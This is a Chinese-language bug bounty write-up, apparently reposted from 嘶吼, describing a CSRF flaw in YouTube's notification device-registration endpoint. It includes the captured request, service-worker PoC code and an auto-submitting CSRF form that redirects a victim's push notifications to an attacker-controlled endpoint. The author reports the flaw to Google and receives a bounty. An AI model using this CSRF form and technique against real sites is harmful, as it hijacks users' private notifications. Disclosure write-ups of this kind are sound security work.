利用CSRF漏洞劫持YouTube用户通知

Posted 嘶吼专业版

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用CSRF漏洞劫持YouTube用户通知相关的知识,希望对你有一定的参考价值。

在本文中,我们将会为读者分析利用CSRF劫持YouTube用户通知的过程。故事发生在某天的半夜,当时,我正在YouTube上闲逛,无意中打开了自己的通知页面,具体请求如下所示:

POST /notifications_ajax?action_register_device=1 HTTP/1.1

Host: www.youtube.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.youtube.com/sw.js

Content-Type: multipart/form-data; boundary=---------------------------41184676334

Origin: https://www.youtube.com

Content-Length: 1459

Connection: close

Cookie: duh, cookies!

 

-----------------------------41184676334

Content-Disposition: form-data; name="endpoint"

 

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334

Content-Disposition: form-data; name="device_id"

 

dbe8453d99714c6160994fdf5bb3c59332df04278a...

-----------------------------41184676334

Content-Disposition: form-data; name="p256dh_key"

 

BBNVkVOt6tpY1KvJJqtLvqt...

-----------------------------41184676334

Content-Disposition: form-data; name="auth_key"

 

V5-_lh6nYT2zoY...

-----------------------------41184676334

Content-Disposition: form-data; name="permission"

 

granted

-----------------------------41184676334--

大家可能猜到我要说什么了!乍一看,所有这些参数,如auth_key、p256dh_key、endpoint、device_id,好像是用于防御CSRF的,但实际上,所有这些参数都是由Firefox为推送通知生成的。因此,这就意味着在这个端点上根本就没有提供CSRF保护措施。

想到这里,我后背一冷!难道我在YouTube上发现了一个CSRF漏洞?

深入研究后,我发现HTTP请求的referrer为“https:/www.youtube.com/sw.js”,即这些请求的都是由service worker发送的,因此,这个请求与YouTube上所有其他具有CSRF保护措施的请求都是不同的。

我确信,这的确是一个漏洞,但我也听说过,提交漏洞时,需要同时提供相应的POC或GTFO:P。因此,我还必须创建一个很好的PoC,以便于谷歌的VRP团队复现该漏洞。为此,我开始深入研究这些参数的生成方式。

在这个过程中,https://developer.mozilla.org/en-US/docs/Web/API/Push_API为我提供了莫大的帮助。

经过一番努力之后,终于写成了3段代码,并在本地服务器上运行,以生成相应的凭证:

index.html

<!DOCTYPE html>

<html>

<head>

    <meta charset="utf-8" />

    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <title>Push Demo</title>

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link rel="stylesheet" type="text/css" media="screen" href="index.css" />

    <script ></script>

</head>

<body>

    <h1>Hello World</h1>

    <button id="permission-btn" onclick="main()">Ask Permission</button>

</body>

</html>

 

index.js

 

    const check = () => {

      if (!('serviceWorker' in navigator)) {

        throw new Error('No Service Worker support!')

      }

      if (!('PushManager' in window)) {

        throw new Error('No Push API Support!')

      }

    }

    const registerServiceWorker = async () => {

      const swRegistration = await navigator.serviceWorker.register('sw.js')

      return swRegistration

    }

    const requestNotificationPermission = async () => {

      const permission = await window.Notification.requestPermission()

      if (permission !== 'granted') {

        throw new Error('Permission not granted for Notification')

      }

    }

    const main = async () => {

      check()

      const swRegistration = await registerServiceWorker()

      const permission = await requestNotificationPermission()

    }

sw.js

    self.addEventListener('activate', async () => {   console.log("Hello");

          self.registration.pushManager.subscribe()

      .then(function(subscription) {

              console.log(JSON.stringify(subscription));

      })

      .catch(function(e) {

        console.log(e);

      });

    })

    self.addEventListener("push", function(event) {

      if (event.data) {

        console.log("Push event!! ", event.data.text());

        showLocalNotification("Yolo", event.data.text(),  self.registration);

      } else {

        console.log("Push event but no data");

      }

    });

    const showLocalNotification = (title, body, swRegistration) => {

      const options = {

        body

        // here you can add more properties like icon, image, vibrate, etc.

      };

      swRegistration.showNotification(title, options);

    };

这样,我们就能获得发动CSRF攻击所需的参数。之后,就可以利用这个漏洞在localhost上看到受害者的通知了!

利用CSRF漏洞劫持YouTube用户通知

实际上,我们就是在创建自己的端点,以便在localhost上接收通知,稍后,我们将在CSRF表单中使用这些通知。单击index.html上的按钮时,它会要求提供通知权限,注册service worker(sw.js),然后,使用Firefox的API为通知创建端点。

最后一步:CSRF表单。

    <form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">

            <input type="text" name="device_id" value="replace">

            <input type="text" name="permission" value="granted">

                    <input type="text" name="endpoint" value="replace">

                    <input type="text" name="p256dh_key" value="replace=">

                    <input type="text" name="auth_key" value="replace">

            <input type="submit">

            <script type="text/javascript">document.csrf.submit();</script>

    </form>

    </html>



之后,我尝试从另一个帐户提交这个CSRF表单,竟然成功了!! 天啊!它确实奏效了。因此,受害者通知的PUSH webhook被设置成了攻击者的webhook。接下来,我们必须触发受害者那边的任何东西,比如对私人视频进行评论,该通知就会被触发:

利用CSRF漏洞劫持YouTube用户通知

于是,我报告了该漏洞,并且,半小时后该漏洞就被承认了,并对其进行了分类(我真是太高兴,因为我是个新手,之前还从而获得过bug赏金)

利用CSRF漏洞劫持YouTube用户通知

几天后,奖金就到手了:

利用CSRF漏洞劫持YouTube用户通知

感谢您阅读本文,我希望您能有所收获!

以上是关于利用CSRF漏洞劫持YouTube用户通知的主要内容,如果未能解决你的问题,请参考以下文章

钓鱼邮件利用路由器CSRF漏洞劫持巴西网民DNS

CSRF 漏洞原理详解及防御方法

web安全CSRF&SSRF&内网探针&漏洞利用

挖洞经验 | 利用XSS和CSRF漏洞远程实现PayPal合作方网站未授权账户访问

利用Instagram版权功能构造CSRF漏洞删除其他用户文件

PendingIntent劫持导致app任意文件读写漏洞